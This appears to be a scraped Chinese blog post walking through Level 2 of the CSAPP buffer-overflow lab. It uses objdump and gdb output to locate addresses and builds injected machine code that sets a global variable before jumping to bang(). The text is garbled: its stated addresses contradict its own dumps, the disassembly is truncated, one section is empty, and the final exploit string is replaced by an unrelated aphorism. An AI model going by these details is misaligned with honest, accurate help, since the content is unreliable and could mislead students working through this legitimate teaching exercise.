CSAPP缓冲区溢出攻击实验(下)

CSAPP缓冲区溢出攻击实验(下)3.3 Level 2: 爆竹实验要求

这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中,所以我们不能让缓冲区一直溢出到.bss段(因为global_value初始化为0,,所以它会被放在.bss而非.data段以节省空间)覆盖global_value的值。若修改了.bss和.text之间某些只读的段会引起操作系统的“警觉”而报错。所以在进入bang()之前我们需要执行一小段我们自己的代码去修改global_value,这一段代码就叫做 exploit code。

int global_value = 0;void bang(int val){if (global_value == cookie) {printf(“Bang!: You set global_value to 0x%x\n”, global_value);validate(2);} elseprintf(“Misfire: global_value = 0x%x\n”, global_value);exit(0);}第一步:bang()和global_value地址

我们驾轻就熟地得到bang()的入口地址0x08048e10,以及global_value的地址0x0804a1c4。

[root@vm bufbomb]$ objdump -t exploitcode | grep -e bang -e global_value080483b9 gF .text 0000001dbang080495bc gO .bss 00000004global_value第二步:运行时的栈地址

获得栈地址,从而知道我们注入代码的位置。方法就是为函数getbuf加断点,发现GDB会把断点加到0x8048ad6并停在这里,看下反汇编代码就能发现,0x8048ad6就是getbuf()执行完常规的三条指令(%ebp压栈、%ebp移动到%esp位置、移动%esp分配栈空间)之后的地方。现在就用info registers拿到我们最关心的栈地址%ebp=0xbfffb538:

[root@vm bufbomb]$ objdump ad0 <getbuf>: 8048ad0:55push %ebp 8048ad1:89 e5mov %esp,%ebp 8048ad3:83 ec 28sub $0x28,%esp 8048ad6:8d 45 e8lea -0x18(%ebp),%eax mov %eax,(%esp) 8048adc:e8 df fe ff ffcall 80489c0 <Gets> 8048ae1:c9leave mov $0x1,%eax 8048ae7:c3ret8048ae8:90nop lea 0x0(%esi,%eiz,1),%esi[root@vm bufbomb]$ gdb bufbomb GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6)Copyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law. Type “show copying”and “show warranty” for details.This GDB was configured as “x86_64-redhat-linux-gnu”.For bug reporting instructions, please see:<>…Reading symbols from /root/Temp/bufbomb/bufbomb…done.(gdb) b getbufBreakpoint 1 at 0x8048ad6(gdb) run -t cdaiStarting program: /root/Temp/bufbomb/bufbomb -t cdaiTeam: cdaiCookie: 0x5e5ee04eBreakpoint 1, 0x08048ad6 in getbuf ()Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.149.el6_6.4.i686(gdb) info registerseax0xbfffb520-1073760992ecx0x00edx0x8910d0 8982736ebx0x00esp0xbfffb5100xbfffb510ebp0xbfffb5380xbfffb538esi0x804b018134524952edi0xffffffff-1eip0x8048ad90x8048ad9 <getbuf+9>eflags0x282 [ SF IF ]cs0x73115ss0x7b123ds0x7b123es0x7b123fs0x00gs0x3351第三步:exploit代码的机器指令

为了避免手写机器指令出错,我们写一小段C和汇编程序,编译后提取出编译器为我们生成好的机器指令。其中movl $0x5e5ee04e,0x80495bc和call 80483b9两行就是我们想要的:

global_value = 0;void bang(int val);int main(int argc, char const *argv[]){// Mock exploit codeglobal_value = 1583276110; //0x5e5ee04ebang(0);return 0;}void bang(int val){printf(“%d\n”, global_value);}// exploitcode.spushl $0x08048e10ret[root@vm bufbomb]$ gcc -o exploitcode exploitcode.c[root@vm bufbomb]$ objdump -d exploitcode | grep -A15 “<main>:”08048384 <main>: 8048384:8d 4c 24 04lea 0x4(%esp),%ecx 8048388:83 e4 f0and $0xfffffff0,%esp 804838b:ff 71 fcpushl 0xfffffffc(%ecx) 804838e:55push %ebp 804838f:89 e5mov %esp,%ebp 8048391:51push %ecx 8048392:83 ec 04sub $0x4,%esp e movl $0x5e5ee04e,0x80495bc 804839c:e0 5e 5e movl $0x0,(%esp) call 80483b9 <bang>…[root@vm bufbomb]$ gcc -c exploitcode.s[root@vm bufbomb]$ objdump -d exploitcode.o exploitcode.o:file format elf32-i386Disassembly of section .text:00000000 <.text>: e : c3ret 关键技术点

先说一下碰到的问题,都是顺利做出这个实验的关键点:

最终exploit字符串

至此,bang()和global_value的地址、运行时栈地址、exploit的机器指令就都有了,万事俱备,接下来就可以构造溢出缓冲区的字节串了:

如你想要拥有完美无暇的友谊,可能一辈子找不到朋友

CSAPP缓冲区溢出攻击实验(下)

相关文章:

你感兴趣的文章:

标签云: